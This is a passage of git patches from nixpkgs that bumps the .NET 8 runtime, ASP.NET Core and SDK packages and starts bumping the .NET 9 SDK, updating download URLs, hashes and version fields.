+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm64.tar.gz";
+        hash = "sha512-zBRQPlwdlKMz/YBI9ih2D23ysqzU4NXvRly7/ME1F3U9b9Wx1f5LOLB3BEGKcT4TOABUU6fLuPs/MAdg0A/G5g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-x64.tar.gz";
-        hash = "sha512-iW6cq3w+pThMF05+LP+uPH+PntXW0rdDS1orDcPwK2Ef+GaPXXDAs1ampdhaKP5AdWzzVrFo0DBjcNoRZGtLIw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-x64.tar.gz";
+        hash = "sha512-lQP+hGJ3Fsud8CxkjjSXHG7E1EaG8hO8b2vXS8VP+0HvJy+9LIqj8KMJsgZkeWwS+cd7E3AV+EWBrCZa8vIWhw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm.tar.gz";
-        hash = "sha512-yneAoDyatUgLn5KqnkkUgsrxnhiMO28lXlVRiSM6cZdOWNl+lJs7nSExrxaHAvF/WSkFRdoNk4Wy26xBDfdzTg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm.tar.gz";
+        hash = "sha512-fOY8CoBCDB7T+ylYy0oj10/yXvzvCmeP93H4LDU5ySg/1txVQDoKtMlcuigGp24MjXhkvr6Y2JFP773u+XBJJg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm64.tar.gz";
-        hash = "sha512-5qVB3jfi9HUAMABd5HW+7T45RPFfzYeKIUFvC5Un/OoUJKEhRWTqltm5S90zfgsAm38NMXBBBtLLiiMHNJUWZg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-arm64.tar.gz";
+        hash = "sha512-TGVuirBIgvdMkfeTEXTwg7Ju2QR4vPyQmEsXg9T8pr6x0CHsBEafrmEOuwLfc/v6WK898ejVLL9eBoy/NBiNIQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-x64.tar.gz";
-        hash = "sha512-ZwfiXAuiV0K2j915SJftmKl9PPDEf/Milh8eP66L6YMiDpMLK8l065DGdJ0SzHYWbyq+Ry4LxEkhOK0RlN3TMg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-musl-x64.tar.gz";
+        hash = "sha512-7YmdUku5ok0MPK/e1tD0bsYghX89i0Oq8In+hgb6hsJehdksX+6aAW1Bp13XbDA+LtwtM5PA603DhsWuNjTCLw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-arm64.tar.gz";
-        hash = "sha512-T8pecG6i7B8GIt3a8SB3axtvL4XaxP8lyeUgPXWevE05Gk8Zc8EWYHhQJZzWPM4LtlRMuldSvZYq7BX3cQlhww==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-arm64.tar.gz";
+        hash = "sha512-Dd8cdJjFKLIJgmOz0wr67QtARqorQ9XHqDdAOh5VgzXBqViqhZtJjdKiU6851B8YHLJpqukc2N0QO2SgYJ+YQQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-x64.tar.gz";
-        hash = "sha512-xSIM7l7VpquZ24ec3HaxTRORBBNBwbIgRXCCBVDgwRkqo7/g4pU4OmkvZmbYXoYsZuWfF0fTynBOfhp/0Qx7RA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-osx-x64.tar.gz";
+        hash = "sha512-msIOtqYmFd+4LFZXwRWHtiHz5/DHxt0xEd8GFIIJLWPBy1T9Ka2w/kOljGPrLKitMi98cixuR7JLeDhf65PqRQ==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.18";
+    version = "8.0.19";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm.tar.gz";
-        hash = "sha512-kMxr02jsGrcl6egU6ZjDeByl32figzNFwFLtFxBiA7oeiM8CBqx8M/gT0D8xZFQEAtvLi+DTa9j77847LfBNTw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm.tar.gz";
+        hash = "sha512-sqsF9qKc/yuEQCEbxZGvCTD7Hp0IKxgLleYbfU4bP3n9KnKbKbqrcRSHgNksZGGOz4xWqM86ymIq+yn0h3Adgg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm64.tar.gz";
-        hash = "sha512-fZagkKLlbzk/wyOF2hRRU12/Tk2Y7cGSsa5uoNCX5megWYKMfyN1+sa8J1+Nsdg/XNJipx/vbCgkHKriIpuqPw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-arm64.tar.gz";
+        hash = "sha512-E/VgfaousPmg+2o2GT0oq8lFQgivVXPai8X+9cvrcLGH3q2valKz1G/cxZyFZ9t3wpN3XP12pD6B/5nEtCUFjA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-x64.tar.gz";
-        hash = "sha512-FddUoByTGD6pi9YI8mkRk8hvKE7H/t38gQ+tkZ4ve6INQeHeRXifwdmsn82L6C1Jy4/kxHHeyJL5EnL+ouU/CA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-x64.tar.gz";
+        hash = "sha512-D2buVk/JqGuOrlQD9DGvWVZeYvXrWfblA3fnLFitJFUts7cuz9gkuFCkI0+u2yE5g7icxHk3L8Q2pVP7CGu5qA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm.tar.gz";
-        hash = "sha512-HFrhWlR+KZEHHzjmn/xwbpP5PCQbvLGJGBV6QttSjV5aHz7eAenPDRcbHzJcvebdN0fELGsLpFvFX5AqlwWkfQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm.tar.gz";
+        hash = "sha512-PVaVISyjZ0XjqelPUn0krVhdOL6hcfectHIl/wEEx8b4KBXDFpg+Er5UJquSsmB1XTtE3hRHxqsiVjJuhWFyEw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm64.tar.gz";
-        hash = "sha512-PK/rE2xt8uRfad+mQUZgE/Uacw8VQ1SQGwVVJsRNvVHX4AFyaVHRUkU4cGZk56pu9eRRU43bqDF5icIpvoxIWA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-arm64.tar.gz";
+        hash = "sha512-iOLYHKbsUtB/5xA3LQZPKjCJVzXHZNLZrcFI5OR//Iqjd2EDKZfvfTF8KevKvdqcoKmd0fpfF7nslrxtNKiGOw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-x64.tar.gz";
-        hash = "sha512-qgLhilNFk5IrTwbv0LRHpwFwrXj06jGwiSOSIEPa4bdYAduLBLSdj+JOys9GyFQbsrFGYphgjGRhLpTk0OU2DQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-linux-musl-x64.tar.gz";
+        hash = "sha512-NvvF7er4ec5DBE4eEAAgfyKfLxK+5MNSETBHaYAJHIMqdBDc9fN3neITSYeu3C+j94R9v5oxPWJ/IJS/vNMqFg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-arm64.tar.gz";
-        hash = "sha512-6nk+JQO0Ds9W0738Dfwh/ImeGKlBRLu1D/ZLPcHzg5KnvS9X9hFw7POv5zO7oPwkxdDgAFe33y2o8m/X9pYSyQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-arm64.tar.gz";
+        hash = "sha512-FLRqUrgqF5zF0Sk/S8CWgFFHHw5is341Jaj3QR0pkP4Gds4OF/5QsrJIgA7rPRvZvYO+w6UntnDYJeGkxD6Pjg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-osx-x64.tar.gz";
-        hash = "sha512-ytzK1CKQwAspFPXxRvZ3eUb5Baf+31WMEE7G7GrDHi407ABp/e7cNX9aaRZeoxvsEZPwJNcG6Shmox7ap02e+w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.19/dotnet-runtime-8.0.19-osx-x64.tar.gz";
+        hash = "sha512-utNVjAqIbe35M+ZUKue0G3BhI26hRBcLOeD76bYVunbZ8GVt3Rub6J75MviU7enhtQMC7Qk+oNigDwSuYTZLyw==";
       };
     };
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.118";
+    version = "8.0.119";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm.tar.gz";
-        hash = "sha512-MNxznkN2vwScF/GKRDE8noX7TOC4JuTIkKpdsDANghswWPOuXPrhfDeBZ473YQQvjI9m+TEbbIdVAQ9juJGntw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm.tar.gz";
+        hash = "sha512-XlKdFdSfvXbJiMSL4zKr5ALd1UJClUJAwvHLYkZSd1kujMdjTxnNseQgBYLKd3ogu3Yc+PyYRV5aupzp440TjQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-arm64.tar.gz";
-        hash = "sha512-wgnYjvV4QLc2Dnsoylwimz/I/YLT4bDimXMOm4Aav7Slzm9k3GZ9WGbGJEuv4QtKveakv/czvk1M4HkcvexVnA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-arm64.tar.gz";
+        hash = "sha512-y6QVS1UcGCsRhc34mlb/UrtGoTXzS99kGrE0DeqyPubQ8kwHDwt6WuIBBdcdwxURfyit4v+jLCJCvbLpyCUszQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-x64.tar.gz";
-        hash = "sha512-2vL4BS3M6u0AWW0fiHsxsZky6m/GRHcAb63X69tWW2zKrawrLDjVe6WNbhVrcq2wlKc1CuodUR53rZZ1SDIaaw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-x64.tar.gz";
+        hash = "sha512-L/7DOAoqwj6AHHx1B7OWL/0jKRGtBgJLdLl92stvRoBNj2MZ60x/x7Al9xZ3fUcRAhnK7rwwo7H+kiMGb/ioyg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm.tar.gz";
-        hash = "sha512-WGhhR5827n4KU7+RS+t6weMYVfHnJmPR1+//JKw47gXMlU19Tv2B4y/oyz2/AINyXkwQ3lr3ajCmlCQxhKWKIA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm.tar.gz";
+        hash = "sha512-XVXCZxX9srBQJE4TZeW3FZ0gbLTsvgXUDxbjtYbVp/vbSQQSr3IXF77mHuF8FtcJyOUY3TywxRxtEcKQp2mgrg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-arm64.tar.gz";
-        hash = "sha512-B2IERPKgrg21B431M6ryjmVZWqYoJBo9bScTPzqeDhlVLNr6TW3EpBfCejTZfqpxUv6TCsOsgS7rYpdDAnT4Zg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-arm64.tar.gz";
+        hash = "sha512-JV5KFwlIKBYCHLwrn7cC3BG9nueksa6M3YnbV202M5moD2Fvftq2RXerNNwGf2BezyR2BuQX26TjxkjrtOppSQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-linux-musl-x64.tar.gz";
-        hash = "sha512-6zHGhF86H/XMx7U37cCOtnRRBIUPd+Z1+otVN4A5y7/e3Oy1olcUiJAO2KUTimTj+3MMMFGBbzZqSPmPAKoqMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-linux-musl-x64.tar.gz";
+        hash = "sha512-HO040qC2vVYJdccMiHBotk4JyAUjlZFk/wXw2VaUqbe+c/jrAt7LknGDLpIEtEZkNOo+LIiqujufyshTgzbUzw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-arm64.tar.gz";
-        hash = "sha512-9oshklflApdjCbtzeUtn8p3ODmlfQFRL0SgnTWQ1yW8TvHv7MolhnNxSuBy3GWA575xRfGsyKHMqo9SR9cy8tg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-arm64.tar.gz";
+        hash = "sha512-NNERmqe/mqzEJgaZOu8C0pD13B5snm2aTbCb9JIRe9HX4V1Qt7hp8AlUzUqpfol6HoXvRe9S79TtLoLdKAnpgA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.118/dotnet-sdk-8.0.118-osx-x64.tar.gz";
-        hash = "sha512-cXeLlCj2s7Mf2pHlhaIv7aC5VSI77PWQB2d0bpgQIru2MqJrHru9ImaGdFU3aLvbXTJMP1toxwnAYW47jSAVvw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.119/dotnet-sdk-8.0.119-osx-x64.tar.gz";
+        hash = "sha512-A9H6KOJDmrTSCoFRjdOWOSlS80A4AzXQ9i8JRWDmoiQx1Gn0UDd0CtuAfXwCT0KAcJ+XXgUUBrR2nfIlGoHd+A==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/8/deps.json b/pkgs/development/compilers/dotnet/8/deps.json
index 96567a9cb61d..fc79ff523958 100644
--- a/pkgs/development/compilers/dotnet/8/deps.json
+++ b/pkgs/development/compilers/dotnet/8/deps.json
@@ -31,50 +31,50 @@
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "4a04ce372c8b7d500ae931d2e799a690ef3c5e112ab0576f4f4bc11760001b3a",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "b97773aff2abf8d64309ee22aa298978175435a2a431f2c95c4d07ccd43a23fd",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/8.0.19-servicing.25365.14/runtime.linux-arm64.microsoft.netcore.ilasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "5c8a30ac0739c50361c6a1fda63ffb1e71ce5f6a7ebeaac022122bc9efb66b02",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "ecd77edd965eb444eac6b19cd930524ee588259b35049fd611d5313338897ff3",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/8.0.19-servicing.25365.14/runtime.linux-arm64.microsoft.netcore.ildasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
-    "hash": "sha256-qXzB3wIj7A8tYHmtMzwSaRWy5aUQZLJ81s2ffVQVD/s=",
+    "hash": "sha256-g0fUr4yUN+qcqsydiqdMkFT5nmuH5KKKC3XyrOXKQpg=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.linux-x64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/8.0.19-servicing.25365.14/runtime.linux-x64.microsoft.netcore.ilasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
-    "hash": "sha256-GHiOauxw/xveX0J+oH9Ww+zUFGk+ZrXdNZbfovNBnQ4=",
+    "hash": "sha256-bf/f8L0OmzBW5KhrJFVurdtbewUGxcUbgbEgIZ6NLYw=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.linux-x64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/8.0.19-servicing.25365.14/runtime.linux-x64.microsoft.netcore.ildasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "525755b60cdfd2a98b2a91ec8f53664a8737bcc95bb9d5738d05c78299fc10b6",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "c02b0af5c5d1d0a608d25111d95279d0e880c33a96fd0757be192be9f7eb5023",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/8.0.19-servicing.25365.14/runtime.osx-arm64.microsoft.netcore.ilasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "cddd638440589ab9af585ae9399cf36eeadf4a6900c8a4748aa31300426e6136",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "d9b48b8452e6451ebc121d6ea135085d8426575457b08745126f6e022709e29d",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.19-servicing.25365.14/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "682ac10e34c8b4e011be271da3af047b8e282a7a4c5d28f71e6a63690717bcec",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.18-servicing.25311.17/runtime.osx-x64.microsoft.netcore.ilasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "17ad72cfd2b22fa3d7ad9bf032554c21df39515fb66126b4aeca6734e687f79e",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.19-servicing.25365.14/runtime.osx-x64.microsoft.netcore.ilasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "c92792036d28f0628d2025cc425868165f8207eb6bf37985e8e222647a0958b5",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.18-servicing.25311.17/runtime.osx-x64.microsoft.netcore.ildasm.8.0.18-servicing.25311.17.nupkg",
-    "version": "8.0.18-servicing.25311.17"
+    "sha256": "7374baafd5248e2b6a720e669bc1e9f07feefd8d3ae9017e6249e8ea79a90a6e",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.19-servicing.25365.14/runtime.osx-x64.microsoft.netcore.ildasm.8.0.19-servicing.25365.14.nupkg",
+    "version": "8.0.19-servicing.25365.14"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/8/release-info.json b/pkgs/development/compilers/dotnet/8/release-info.json
index f2acb9f91e04..654f832639d0 100644
--- a/pkgs/development/compilers/dotnet/8/release-info.json
+++ b/pkgs/development/compilers/dotnet/8/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-dWbEZU4vKtXgV6ZIM6A7TQ2mjBsgEqvJKKQGgzsDdoA=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.118-servicing.25323.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-XYOEoTc9Etjs7upJPFVFogzxBIKQfU0H7xCFjEu3Q9Q="
+  "tarballHash": "sha256-4mzLIWt2bYFqZQZqjMlm+WGnvxux1eorqUHEHsDs67Q=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.119-servicing.25373.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-pB2tVzeB/EAwXTNbzG42NT/3gnczxtaQ+oH0FvtHgnM="
 }
diff --git a/pkgs/development/compilers/dotnet/8/release.json b/pkgs/development/compilers/dotnet/8/release.json
index bfa46d13faff..db2d0e9e6e23 100644
--- a/pkgs/development/compilers/dotnet/8/release.json
+++ b/pkgs/development/compilers/dotnet/8/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "8.0.19",
+  "release": "8.0.20",
   "channel": "8.0",
-  "tag": "v8.0.119",
-  "sdkVersion": "8.0.119",
-  "runtimeVersion": "8.0.19",
-  "aspNetCoreVersion": "8.0.19",
+  "tag": "v8.0.120",
+  "sdkVersion": "8.0.120",
+  "runtimeVersion": "8.0.20",
+  "aspNetCoreVersion": "8.0.20",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "8495bde0fe309967f88de93e358d6b6166ed47f8"
+  "sourceVersion": "6825a8d5c72c1893049c2c5ffa491b65cbcea7e0"
 }

From c05e3eeaf6677368f95212b8ef3ae41a49667c2c Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 10 Sep 2025 01:08:42 +0000
Subject: [PATCH 4500/4511] dotnetCorePackages.sdk_9_0-bin: 9.0.304 -> 9.0.305

(cherry picked from commit 7dd22dc67651173b31847c6fcf586375c5fe81eb)
---
 .../compilers/dotnet/versions/9.0.nix         | 410 +++++++++---------
 1 file changed, 205 insertions(+), 205 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/9.0.nix b/pkgs/development/compilers/dotnet/versions/9.0.nix
index adb4ab08242b..4e76907b4d3e 100644
--- a/pkgs/development/compilers/dotnet/versions/9.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/9.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.8";
-      hash = "sha512-HSxwnf37OGRcVt9qq6zwaPoqnve6MXpwjq/gzTagXAJTM3AgYE7gtAzFKUPj2/yYLAgdHEi2y+7N4e6LJXJAQQ==";
+      version = "9.0.9";
+      hash = "sha512-W8dh2WCiNWN4NAyhWaKGrAM/ZcCBem0Bp0EMPOEDcMlFrIm6ibjCnA7DxDxWPM/W1Kyzt5eLToqTXhhdw/4QuQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "9.0.8";
-      hash = "sha512-14cuFcWzlQUTtNwpeVNCP0q9bUfdm0lXFGd8fP47uulSBIJlcvUmucas1BpSmB9ofsVC+jcmkLr7EvK/l2zCXQ==";
+      version = "9.0.9";
+      hash = "sha512-jhI8LV56Ba2Ft6tzbpdUqf0eH7aMCEZvVQlurV7EYUoexSzhqT+qb5t7S8YxU/57R6psvvnA6uMoVahh7SFQhw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "9.0.8";
-      hash = "sha512-rXC+UlNcK0NDSKCc6NTc6KGlBSKXvu0hP/oamJ0+6mgETnlySbRimOOp9ZOipoXitRk7sXdWBQH7F4Jy1UEFyg==";
+      version = "9.0.9";
+      hash = "sha512-iO2vcnhfd2DmDdLf7JwJDZWgH9PSSsKEYkuyRKFioQSPYGr0LonWcB+tlacP3LzQjSUH/WSL7sNBRybJMt34hQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "9.0.8";
-      hash = "sha512-LVju0J0eNHVvP8nQUmCiJIWTZrAo1TPoNRtMe4mB8WpqW+VzOHNkKNqycTCPxJ2ytN5DlQL055LtSLW7+lS/4Q==";
+      version = "9.0.9";
+      hash = "sha512-T8yCcJrvW7U1Lr8wk6mhRbxr7tpv1ixLmmSxKFRRSAX5jw0fFDwFP6UftrfFG8joxL91n56vvkMuO1+cZgDIMQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "9.0.8";
